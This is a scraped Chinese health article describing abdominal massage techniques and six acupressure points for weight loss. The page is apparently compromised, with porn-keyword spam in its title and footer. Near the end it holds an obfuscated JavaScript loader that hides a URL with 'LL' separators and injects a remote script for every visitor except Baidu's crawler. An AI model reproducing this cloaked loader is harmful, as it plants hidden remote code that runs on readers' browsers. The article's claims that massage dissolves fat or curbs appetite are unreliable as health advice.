久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 減肥 > 中醫減肥 > 正文

減肥按摩那些穴位好呢

2017-04-26 14:26:44  來源:360常識網   熱度:
導語:當我們覺得身體很疲勞時喜歡到按摩店,當身體亞健康患病時也喜歡到中醫店按摩等中醫治療,其實按摩除了治病外,還可以對身體保健,其保健的

當我們覺得身體很疲勞時喜歡到按摩店,當身體亞健康患病時也喜歡到中醫店按摩等中醫治療,其實按摩除了治病外,還可以對身體保健,其保健的類型是非常多了,比如減肥按摩,這種方式可以使身體快速的瘦下來,但是也要堅持才能看到效果,減肥按摩就要配合正確的穴位,那么減肥按摩那些穴位好呢?

兩手垂直搭在在腿,中指的位置就是穴位,可以用來減肥的,每隔三分鐘按一次長按。用中指按摩..... 按摩腹部不僅能消除脂肪,還可以強身健體,對消化系統、神經系統等的多種疾病都有輔助治療的效果,所以自然有一套比較獨特的手法。在按摩的同時加入“按摩霜”可能會有意想不到的效果。

手法1:拇指疊按法

將兩個拇指上下重疊,在腹部及相關穴位按壓,按壓的輕重應以手指感覺到脈搏跳動,且被按摩的部位不感覺疼痛為最合適。

手法2:波浪推壓法

兩手手指并攏,自然伸直,一只手掌放在另一只手掌背上,右手在下,左手在上。在下的那只手掌和手指平貼腹部,用力向前推按,然后在上的手掌用力向后壓,一推一回,由上而下慢慢移動,好像水中的浪花,故而得名。

腰部穴位按摩

腹部按摩并不是簡單的揉肚子,選準基本穴位實施按摩,會起到事半功倍的效果,讓你可以更自信地露出小蠻腰。

穴位按摩方法及時間:每天早晚仰臥在床上,先以手法2由上腹部向小腹推壓3~4回,再先后以手法1和手法2依次按摩以下6個穴位,每個穴位各按摩2分鐘左右。

穴位一:中脘穴腹部正中線肚臍以上大約4寸處。

穴位二:水分穴腹部正中線肚臍以上大約1寸處。(按摩水分穴有助于排除體內多余的水分,避免水腫,并且可以幫助腸胃蠕動、鍛煉腹肌,避免小腹突出)

穴位三:氣海穴腹部正中線肚臍以下大約1.5寸處。

穴位四:關元穴腹部正中線肚臍下大約3寸處。(按摩氣海、關元穴能有效地抑制食欲,有利于腹部脂肪均勻分布;而按摩天樞穴則可以幫助消化、排氣、促進腸胃蠕動、廢物排泄,當然更有利于消除小腹贅肉。)

穴位五:水道穴肚臍以下大約3寸,關元穴左右兩側各向兩旁大約2寸處。

穴位六:天樞穴肚臍左右兩側各向兩旁大約2寸處,以左天樞為重點。

減肥按摩那些穴位好呢?患者可以按摩的穴位是較多的,減肥的部位所分配的穴位是不同的,因而減肥的部位與效果也是不同的,如果患者想要全身都瘦下來的,建議配合其它的減肥方式,但是要注意減肥的過程中不宜節食,節食對身體是不好的,過度的節食會出現厭食,身體無法得到充分的營養會出現很多疾病。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 91精品视频国产 | 国产精品久久久久久亚洲调教 | 黄a在线观看 | 黄色网址视频在线观看 | 毛茸茸成熟亚洲人 | 国产免费一区二区三区 | 国产欧美一区二区 | 在线播放国产一区二区三区 | 国产成人精品久久二区二区91 | 日韩精品免费一区二区三区 | 777xacom| 999精品在线| 欧美日韩一区二区在线 | 99色视频| 日本成人中文字幕在线观看 | 国产视频一区二区在线观看 | av午夜电影| 国产精品一区免费在线观看 | 日本黄色免费网站 | 性生生活大片免费看视频 | 午夜视频网| 国产91久久精品一区二区 | 亚洲国产精品久久久 | 日韩精品一区在线 | 九九九色 | 久久青青| 久久精品久久久久久久久久久久久 | 亚洲码欧美码一区二区三区 | 久久久精品综合 | 欧美一级毛片日韩一级 | 日韩美香港a一级毛片免费 欧美一极视频 | 一区综合| 欧美日韩精品一区 | 五月婷婷之综合激情 | 亚洲区在线 | 国产精品永久免费 | 黄色片在线免费播放 | 色婷婷国产精品久久包臀 | 成人亚洲视频 | 亚洲一区免费视频 | 欧美日韩综合视频 |